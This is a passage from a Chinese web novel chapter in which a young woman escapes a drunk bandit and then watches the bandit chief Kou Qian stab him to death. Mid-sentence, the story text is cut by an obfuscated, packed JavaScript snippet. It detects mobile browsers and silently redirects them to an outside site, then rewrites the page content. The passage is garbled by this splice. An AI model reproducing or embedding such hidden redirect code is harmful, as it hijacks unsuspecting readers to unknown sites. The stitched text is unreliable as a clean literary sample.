世上、世上怎么会有这么凶恶的亡命徒?比她读过的话本子里的,还要可怕千倍、万倍! 酒鬼再度扑来,她心一横,咬紧牙关,闭眼撞了上去,许是位置正好,撞的是他被烧烂的皮肉,扑面而来的血腥味令人作呕,她却没工夫去管,只趁着他摔倒之际竭力逃跑。 洲内无处可藏身,那她就去江上,许有一只小舟停泊在渡口,可载她离开呢? 大不了、大不了就是溺死在江水里,再怎么也比被这又脏又臭的恶鬼欺辱好! 借着一轮明月相照,她于月光中越冲越快,宛若一支离弦的箭,耳畔仿佛已能听见汹涌的浪潮声了,可比起江,先出现在她眼前的是一群人。 她一眼便瞧清了为首人的模样,那颗慌乱的心几乎是立即就安定下来,“寇——” 忽的寒光一闪,她喉中的声音被愕然止住,她看见了利刃,不止一把。她后知后觉地想起来,刚刚那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13810893|146112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒鬼说的话——“老子跟着寇骞在水上烧杀抢掠这么多年”,所以,寇骞不是渔民,是烧杀抢掠的水匪,甚至于,是其中最为穷凶极恶的头目。 她不禁往后退了半步。 匪。 寇骞与那酒鬼,实是一丘之貉、蛇鼠一窝。 后头追逐的脚步愈发近了,近到同她一般能看清寇骞时,那般张狂的酒鬼却顿时慌了神,仅是几个呼吸间,便选择跪伏下身子,也顾不得溃烂的皮肉处处钻心的疼,一个劲儿磕头。 “老大、老大我知道错了,我下次再也不敢了!” “你饶了我吧,我们、我们可是一起长大的啊!” 崔竹喧攥着衣摆,小心地去看寇骞的神色,他同平日里总是带着笑的模样判若两人,眼角眉梢都是冷厉的,他自她身前走过,并未看她,止步在酒鬼面前,声音无甚波澜,“说说,你干什么了?” 仅是电光石火间,酒鬼便捏造出了一套事实,一把鼻涕一把泪地伏在他脚边哭诉:“是、是这个贱人!她趁你不在,想要偷走你库房的金银,谁料被我撞破,她怕我想你告状,便、便蓄意勾引我,我一时色迷心窍,这才、这才上了她的当!” “这个女人蛇蝎心肠,她表面说要委身于我,实际却想着杀人灭口,”酒鬼仓惶地展露出自己身上的血肉模糊,甚至于因这些瘆人的伤口,而再度拥有了底气,“她用火把我烧成这样,老大,你要为我报仇啊!我们这么多年的情分,你可不能听信这个贱人的一面之词啊!” “还有吗?”寇骞忽然问。 酒鬼愣了一下,在脑中搜刮一番,确认并无什么遗漏,讷讷地摇头,“没、没了。” “没了就好。” 酒鬼望着他,害怕恐慌渐渐消弭去,嘴角重新咧起,气焰再起,甚至转头看向崔竹喧,露出一抹挑衅的神色。 可惜好景不长,下一刻,便有利刃直直捅进胸腔,刀柄一转,一抽,殷红的血伴着脏腑的碎片一块儿飞溅出来,碧色的草叶刹那间扮了红妆,靡艳得骇人。 “我、我们这么多年的交情,你怎么能……” 寇骞拧着眉踢开那只攀上他鞋子的手,顺势碾了上去,在酒鬼濒死的呻吟声中缓缓开口:“不然你以为,老子为什么给你时间说遗言?” “在这白原洲,随便折根树枝,揪片草叶,都是跟老子一块儿长大的,你又算什么东西?再说,这土里头,埋的哪个不是跟老子有交情?” 他随手一挥,将刀刃上的猩红甩去,把砍刀重新挂回腰间,转而向崔竹喧走去。 她下意识地往后退,可身后是树,退无可退,所幸那满身鲜血的人只是站在那,用目光一寸寸在她身上扫去,从头发,到眉,到眼,到唇,到纤长的脖颈,到每一处他能看见的、裸露在外的肌肤。 她能听见自己的心跳声若擂鼓,她控制不住地想要去抓些什么东西,衣摆也好,树皮也罢,至少帮着遮掩去她止不住的轻颤。 正于此时,他微微俯身,伸出一只手朝她靠近——那只刚刚杀过人的手。 抗拒的情绪在她脑海里啸叫,本能比理智更先,她抬手冲他甩去。 ——她当着一众水匪的面,打了水匪头目一耳光。